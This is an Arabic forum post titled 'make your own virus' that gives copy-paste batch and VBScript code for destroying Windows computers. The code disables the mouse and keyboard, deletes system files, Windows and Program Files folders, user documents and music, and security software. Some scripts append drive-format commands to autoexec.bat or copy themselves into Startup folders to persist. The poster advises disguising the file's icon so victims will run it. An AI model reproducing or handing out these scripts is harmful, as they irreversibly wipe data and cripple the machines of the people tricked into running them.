اصنع فايرسك بنفسك

موضوع: اصنع فايرسك بنفسك 26/08/11, 02:41 pm

سلام عليكم انا اول مرة اشارك عندكم انا اليوم عندي موضوع اصنع فايرسك بنفسك واتمنى انه يعجبكم ملاااااحضة.. الموضوع منقول وانا لا اتحمل مسؤليه اي شى يحدث للجهاز وانا غير مسوؤل
امام الله عند اسخدامه ضد المسلمينيله نبدأ ....

اولا --> ابدأ --> البرامج --> البرامج الملحقة --> المفكرة
"Start" ..."acesseries"........>"notebook"
ضع الكود ثم اختر حفظ باسم

ثم اكتب الاسم مع الامتداد كالتالي مثلا elqrsan.bat ويجب ان تكتب .bat بعدين احفظة

اذا طلعت ايقونة الملف في داخلها عَجَلَة صفراء معناها ان الفيروس جاهز

ما عليك الا انك تغير ايقونته للتموية

و هذه هى الاكواد :-

)قاتل الدوس

@echo off C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
del c:\command.com
del c:\Io.sys
del c:\Config.sys
del c:\Msdos.sys
del c:\windows\system32\command.com
deltree /y C:\WINDOWS\COMMAND\*.*
deltree /y C:\WIN98\COMMAND\*.*
deltree /y C:\WINme\COMMAND\*.*
deltree /y C:\WIN_me\COMMAND\*.*
deltree /y C:\WINxp\COMMAND\*.*
deltree /y C:\WIN_xp\COMMAND\*.*
del d:\command.com
del d:\Io.sys
del d:\Config.sys
del d:\Msdos.sys
del d:\windows\system32\command.com
deltree

2) قاتل ملفات السيستم

@echo off
c:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
c:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System\
deltree /y *.dll
cd\
deltree /y *.sys
d:
cd C:\WINDOWS\System32\
deltree /y *.dll
cd\
deltree /y *.sys
CLS

3)فورمات

call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo off@
shutdown -s

4) قتل الماوس+ الكيبورد

@echo off
C:\WINDOWS\rundll.exe mouse,disable
C:\WINDOWS\rundll.exe keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s

5) قاتل النورتن

@echo off
%WinDir%\rundll.exe mouse,disable
%WinDir%\rundll.exe keyboard,disable
copy hahahah.BAT %windir%\startm~1\programs\startup
copy hahahah.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy hahahah.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
deltree /y c:\progra~1\norton~1\*.*
deltree /y d:\progra~1\norton~1\*.*
deltree /y c:\progra~1\zonela~1\*.*
deltree /y d:\progra~1\zonela~1\*.*
cls

اكواد فيروسات الـفي بي اس

1)قاتل الويندوز

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\windows") Then
foldersys.DeleteFolder "c:\windows",TRUE
END IF
If foldersys.FolderExists ("c:\win98") Then
foldersys.DeleteFolder "c:\win98",TRUE
END IF
If foldersys.FolderExists ("c:\winme") Then
foldersys.DeleteFolder "c:\winme",TRUE
END IF
If foldersys.FolderExists ("c:\win_me") Then
foldersys.DeleteFolder "c:\win_me",TRUE
END IF
If foldersys.FolderExists ("c:\winxp") Then
foldersys.DeleteFolder "c:\winxp",TRUE
END IF
If foldersys.FolderExists ("c:\win_xp") Then
foldersys.DeleteFolder "c:\win_xp",TRUE
END IF
If foldersys.FolderExists ("d:\windows") Then
foldersys.DeleteFolder "d:\windows",TRUE
END IF

2)ماسح البرامج

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF

3) ماسح سطح الكتب + المستندات

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\My Documents") Then
foldersys.DeleteFolder "c:\My Documents",TRUE
END IF
If foldersys.FolderExists ("D:\My Documents") Then
foldersys.DeleteFolder "D:\My Documents",TRUE
END IF
If foldersys.FolderExists ("c:\My Music") Then
foldersys.DeleteFolder "c:\My Music",TRUE
END IF
If foldersys.FolderExists ("D:\My Music") Then
foldersys.DeleteFolder "D:\My Music",TRUE
END IF
If foldersys.FolderExists ("C:\Documents and Settings") Then
foldersys.DeleteFolder "C:\Documents and Settings",TRUE
END IF
If foldersys.FolderExists ("D:\Documents and Settings") Then
foldersys.DeleteFolder "D:\Documents and Settings",TRUE
END IF

4)قاتل الام بي ثري

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("D:\MP3") Then
foldersys.DeleteFolder "D:\MP3",TRUE
END IF
If foldersys.FolderExists ("E:\MP3") Then
foldersys.DeleteFolder "E:\MP3",TRUE
END IF
If foldersys.FolderExists ("F:\MP3") Then
foldersys.DeleteFolder "F:\MP3",TRUE
END IF
If foldersys.FolderExists ("G:\MP3") Then
foldersys.DeleteFolder "G:\MP3",TRUE
END IF
If foldersys.FolderExists ("H:\MP3") Then
foldersys.DeleteFolder "H:\MP3",TRUE
END IF
If foldersys.FolderExists ("I:\MP3") Then
foldersys.DeleteFolder "I:\MP3",TRUE
END IF
If foldersys.FolderExists ("J:\MP3") Then
foldersys.DeleteFolder "J:\MP3",TRUE
END IF
If foldersys.FolderExists ("K:\MP3") Then
foldersys.DeleteFolder "K:\MP3",TRUE
END IF
If foldersys.FolderExists ("D:\SONGS") Then
foldersys.DeleteFolder "D:\SONGS",TRUE
END IF
If foldersys.FolderExists ("E:\SONGS") Then
foldersys.DeleteFolder "E:\SONGS",TRUE
END IF
If foldersys.FolderExists ("F:\SONGS") Then
foldersys.DeleteFolder "F:\SONGS",TRUE
END IF
If foldersys.FolderExists ("G:\SONGS") Then
foldersys.DeleteFolder "G:\SONGS",TRUE
END IF
If foldersys.FolderExists ("H:\SONGS") Then
foldersys.DeleteFolder "H:\SONGS",TRUE
END IF
If foldersys.FolderExists ("I:\SONGS") Then
foldersys.DeleteFolder "I:\SONGS",TRUE
END IF
If foldersys.FolderExists ("J:\SONGS") Then
foldersys.DeleteFolder "J:\SONGS",TRUE
END IF
If foldersys.FolderExists ("K:\SONGS") Then
foldersys.DeleteFolder "K:\SONGS",TRUE
END IF

ارجو ان يكون قد اعجبكم الموضوع

» إصنع أيقونة Microsoft windows بنفسك
» البروج يأتي بمفاجئه لاصحاب كروت التوينهان ادخل واعرف بنفسك